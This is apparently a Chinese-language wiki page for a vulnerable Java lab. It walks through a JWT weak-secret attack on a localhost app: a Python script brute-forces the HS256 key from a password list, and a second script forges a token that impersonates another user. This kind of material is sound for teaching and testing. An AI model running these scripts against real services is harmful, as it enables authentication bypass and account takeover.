Skip to content
JoyChou edited this page Sep 21, 2022 · 4 revisions

应用流程

1、访问 http://localhost:8080/jwt/createToken ,根据当前登录用户生成一个JWT的Token,并且设置到COOKIE中,键值为USER_COOKIE

2、访问 http://localhost:8080/jwt/getName ,从COOKIE中获取USER_COOKIE的COOKIE值,返回获取到的nickname。

攻击步骤

1、访问 http://localhost:8080/jwt/createToken ,获取头里面的USER_COOKIE值。

得到的token为eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuaWNrbmFtZSI6ImpveWNob3UiLCJleHAiOjE2NjM4MTczNzUsImlhdCI6MTY2MzczMDk3NX0.2tWbNUiah0BCHqni5ePnmvcgY7lN4hm2zw41HKxir1w

2、爆破私钥KEY

利用jwt的decode方法的verify参数,设置为True的情况如果密钥不正确会抛异常。所以只要不抛异常,则爆破成功。

import jwt
import sys

def main():
    token = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuaWNrbmFtZSI6ImpveWNob3UiLCJleHAiOjE2NjM4MTczNzUsImlhdCI6MTY2MzczMDk3NX0.2tWbNUiah0BCHqni5ePnmvcgY7lN4hm2zw41HKxir1w'
    with open('password_dict.txt', 'r') as f:
        for key in f.readlines():
            key = key.strip()
            try:
                jwt.decode(token, algorithms='HS256', verify=True, key=key)
                print(f'jwt key found: {key}')
                sys.exit()
            except Exception as e:
                pass


if __name__ == '__main__':
    main()

返回

jwt key found: 123456

3、生成伪造恶意的JWT Token。

https://jwt.io/ 中解密出的header和payload分别为:

header

{
  "typ": "JWT",
  "alg": "HS256"
}

payload

{
  "nickname": "joychou",
  "exp": 1663817375,
  "iat": 1663730975
}

构造恶意的JWT Token,将nickname的joychou改为hacker。代码:

import jwt 

def generate_token():
    headers = {
        "alg": "HS256",
        "typ": "JWT"
    }
    salt = "123456"

    payload = {
        "nickname": "hacker",
        "exp": 1663817375,
        "iat": 1663730975
    }

    token = jwt.encode(payload=payload, key=salt, algorithm='HS256', headers=headers)
    return token

恶意伪造的JWT Token为: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuaWNrbmFtZSI6ImhhY2tlciIsImV4cCI6MTY2MzgxNzM3NSwiaWF0IjoxNjYzNzMwOTc1fQ.xlKSHgFToceHYQ9lcYjDB6GxSUMokMYWSKOJIYuauB4

4、将伪造的JWT Token替换USER_COOKIE

访问 http://localhost:8080/jwt/getName ,返回:

Current jwt user is hacker